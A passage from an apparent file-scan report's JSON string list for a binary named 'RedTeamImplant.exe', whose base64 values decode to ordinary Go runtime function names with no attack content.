Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5vc2luaXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5vc1ByZWVtcHRFeHRFbnRlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5vc1ByZWVtcHRFeHRFbnRlci5vc3lpZWxkLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5vc1ByZWVtcHRFeHRFeGl0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5vc1JlbGF4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5vc1NldHVwVExT","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5vc3lpZWxk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5vc3lpZWxkLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5vc3lpZWxkX25vX2c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYWNrTmV0cG9sbEtleQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYWNrUGFsbG9jU3Vt","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYWdlSW5kZXhPZg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYWxsb2NTdW0uZW5k","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYWxsb2NTdW0ubWF4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYWxsb2NTdW0uc3RhcnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYWxsb2NTdW0udW5wYWNr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYW5pY0NoZWNrMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYW5pY0NoZWNrMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYW5pY2RpdmlkZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYW5pY2RvdHR5cGVF","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYW5pY2RvdHR5cGVJ","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYW5pY2Zsb2F0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYW5pY0luZGV4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYW5pY0luZGV4VQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYW5pY21ha2VzbGljZWNhcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYW5pY21ha2VzbGljZWxlbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYW5pY21lbQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYW5pY21lbUFkZHI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYW5pY292ZXJmbG93","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYW5pY3NoaWZ0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYW5pY1NsaWNlM0FsZW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYW5pY1NsaWNlM0M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYW5pY1NsaWNlQWNhcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYW5pY1NsaWNlQWNhcFU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYW5pY1NsaWNlQWxlbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYW5pY1NsaWNlQWxlblU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYW5pY1NsaWNlQg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYW5pY1NsaWNlQlU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYW5pY3Vuc2FmZXNsaWNlbGVu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYW5pY3Vuc2FmZXNsaWNlbGVuMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYW5pY3Vuc2FmZXNsaWNlbmlscHRy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYW5pY3Vuc2FmZXNsaWNlbmlscHRyMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYW5pY3Vuc2FmZXN0cmluZ2xlbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYW5pY3Vuc2FmZXN0cmluZ25pbHB0cg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYW5pY3dyYXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYXJrX20=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYXJrdW5sb2NrX2M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYXJzZUJ5dGVDb3VudA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYXJzZWdvZGVidWc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wYXJzZVJ1bnRpbWVEZWJ1Z1ZhcnM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wY2RhdGFzdGFydA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wY2RhdGF2YWx1ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wY2RhdGF2YWx1ZTE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wY2RhdGF2YWx1ZTI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wY3ZhbHVl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wY3ZhbHVlQ2FjaGVLZXk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wZXJzaXN0ZW50YWxsb2M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wZXJzaXN0ZW50YWxsb2MuZnVuYzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wZXJzaXN0ZW50YWxsb2Mx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5waWRsZWdldA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5waWRsZWdldFNwaW5uaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5waWRsZXB1dA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$d4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$d5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5waW5uZXJHZXRQdHI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wa2dQYXRo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wbGFpbkVycm9yLkVycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wTWFzay5jbGVhcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wTWFzay5yZWFk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wTWFzay5zZXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wb2xsRnJhY3Rpb25hbFdvcmtlckV4aXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wb2xsSW5mby5jbG9zaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wb2xsSW5mby5ldmVudEVycg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wb2xsSW5mby5leHBpcmVkUmVhZERlYWRsaW5l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wb2xsSW5mby5leHBpcmVkV3JpdGVEZWFkbGluZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wb2xsT3BlcmF0aW9uRnJvbU92ZXJsYXBwZWRFbnRyeQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wb2xsV29yaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wb3BEZWZlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wb3N0TWFsbG9jZ2NEZWJ1Zw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmVlbXB0YWxs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmVlbXB0TQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmVlbXB0b25l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmVlbXB0UGFyaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmVNYWxsb2NnY0RlYnVn","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmVwYXJlQ29udGV4dEZvclNpZ1Jlc3VtZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmVwYXJlRnJlZVdvcmtidWZz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmVwcmludHBhbmljcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmVwcmludHBhbmljcy5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmV2ZW50RXJyb3JEaWFsb2dz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmludEFuY2VzdG9yVHJhY2ViYWNr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmludEFuY2VzdG9yVHJhY2ViYWNrRnVuY0luZm8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmludGFueWN1c3RvbXR5cGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmludEFyZ3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmludEFyZ3MuZnVuYzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmludEFyZ3MuZnVuYzI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmludEFyZ3MuZnVuYzM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmludGJvb2w=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmludENnb1RyYWNlYmFjaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmludENnb1RyYWNlYmFjay5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmludGNvbXBsZXg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmludGNyZWF0ZWRieQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmludGNyZWF0ZWRieTE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmludGZsb2F0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmludEZ1bmNOYW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmludGhleA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmludGluZGVudGVk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmludGludA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmludGxvY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmludG5s","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmludE9uZUNnb1RyYWNlYmFjaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmludHBhbmljcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmludHBhbmljdmFs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmludHBvaW50ZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmludFNjYXZUcmFjZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmludHNsaWNl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmludHNw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmludHN0cmluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmludHVpbnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmludHVpbnRwdHI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcmludHVubG9jaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcm9jUGlu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcm9jcmVzaXpl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcm9jVW5waW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcm9jeWllbGQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcm9maWxlYWxsb2M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcm9mSW5kZXguYWRkQ291bnRzQW5kQ2xlYXJGbGFncw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcm9mSW5kZXgudGFnQ291bnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wcm9nVG9Qb2ludGVyTWFzaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wdWJsaWNhdGlvbkJhcnJpZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wdWludHB0ci5wdHI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wdXRlbXB0eQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wdXRFeHRyYU0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5wdXRmdWxs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5xdWV1ZWZpbmFsaXplcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5yNA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5yOA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5yYW5k","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5yYW5kaW5pdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5yYXdieXRlc2xpY2U=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5yYXdzdHJpbmc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5yYXdzdHJpbmd0bXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5yZWFkR09HQw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5yZWFkR09NRU1MSU1JVA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5yZWFkZ3N0YXR1cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5yZWFkUmFuZG9t","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5yZWFkVGltZVJhbmRvbQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5yZWFkVWludHB0cg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5yZWFkVW5hbGlnbmVkMzI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5yZWFkVW5hbGlnbmVkNjQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5yZWFkdmFyaW50","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5yZWFkdmFyaW50VW5zYWZl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5yZWFkeQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5yZWFkeVdpdGhUaW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5yZWFkeVdpdGhUaW1lLmdvcmVhZHkuZnVuYzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5yZWNvcmRGb3JQYW5pYw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5yZWNvcmRzcGFu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5yZWNvdmVyeQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5yZWN2","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5yZWN2LmdvcmVhZHkuZnVuYzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5yZWN2RGlyZWN0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5yZWVudGVyc3lzY2FsbA==","type":"Ansi","source":"Memory/File 